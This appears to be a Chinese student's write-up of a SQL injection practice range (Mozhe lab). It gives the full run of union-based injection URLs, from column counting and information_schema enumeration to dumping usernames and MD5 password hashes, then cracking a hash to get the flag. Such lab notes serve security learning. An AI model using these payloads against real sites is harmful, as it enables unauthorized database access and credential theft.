师从小迪,刚看完sql注入,印象最深刻就是小迪师傅到第四天了打火机依旧没油,咔嚓咔嚓打不着火
 
 进入 寻找注入点
 
 看这
 
http://219.153.49.228:47589/new_list.php?id=1
 
判断注入,老办法and 1 = 1和and 1=2
http://219.153.49.228:47589/new_list.php?id=1%20and%201=2
 

 下面该数据库有几个字段(列名数量) order by x
 id=1 order by x
http://219.153.49.228:47589/new_list.php?id=1%20order%20by%201
http://219.153.49.228:47589/new_list.php?id=1%20order%20by%202
http://219.153.49.228:47589/new_list.php?id=1%20order%20by%203
http://219.153.49.228:47589/new_list.php?id=1%20order%20by%204
http://219.153.49.228:47589/new_list.php?id=1%20order%20by%205    五开始报错
 

 http://219.153.49.228:47589/new_list.php?id=1 union select 1,2,3,4
 
 猜解
 http://219.153.49.228:47589/new_list.php?id=-1 union select 1,2,3,4
 或者
 http://219.153.49.228:47589/new_list.php?id=1 and 1=2 union select 1,2,3,4
 
 
 信息收集
 判断数据个数order by x 根据正确域错误的格式来判断个数,然后select 1,2,3,…
 查询数据库 version()
 数据库名字 database()
 数据库用户 user()
 操作系统 @@version_compile_os
 因为刚才报错2和3所以就把union select 1,2,3,4里的2和3替换成要查询的函数,查询的结果就会显示在2和3相应的位置
 http://219.153.49.228:47589/new_list.php?id=-1 union select 1,database(),version(),4
 
http://219.153.49.228:47589/new_list.php?id=-1 union select 1, version(),database(),4
 
 现在知道了数据库名字mozhe_Discuz_StormGroup,而且发现版本在5.0以上,在mysql5.0以上版本存在一个 information_schema的数据库,它记录着所有的数据库,表明,列名。
 select * information_schema.tables;记录所有表名
 where table_name=’‘筛选条件
 select * from information_schema.columns;记录所有的列名
 where column_name=’‘筛选条件
 wherw table_schema=’'筛选条件
 查询mozhe_Discuz_StormGroup下的表名信息 StormGroup_member
 http://219.153.49.228:47589/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’
 
 起来了,重启了靶场,端口号变了,改一下
 查询StormGroup_member下的列名信息
 
 查询username和password
 http://219.153.49.228:43893/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member
 
 MD5加密356f589a7df439f6f744ff19bb8092c0结果dsan13
 猜解多个密码
 
 MD5解密
 然后就拿到key了
KEY:mozhe3645c569353e38f42dc3aa2f38d










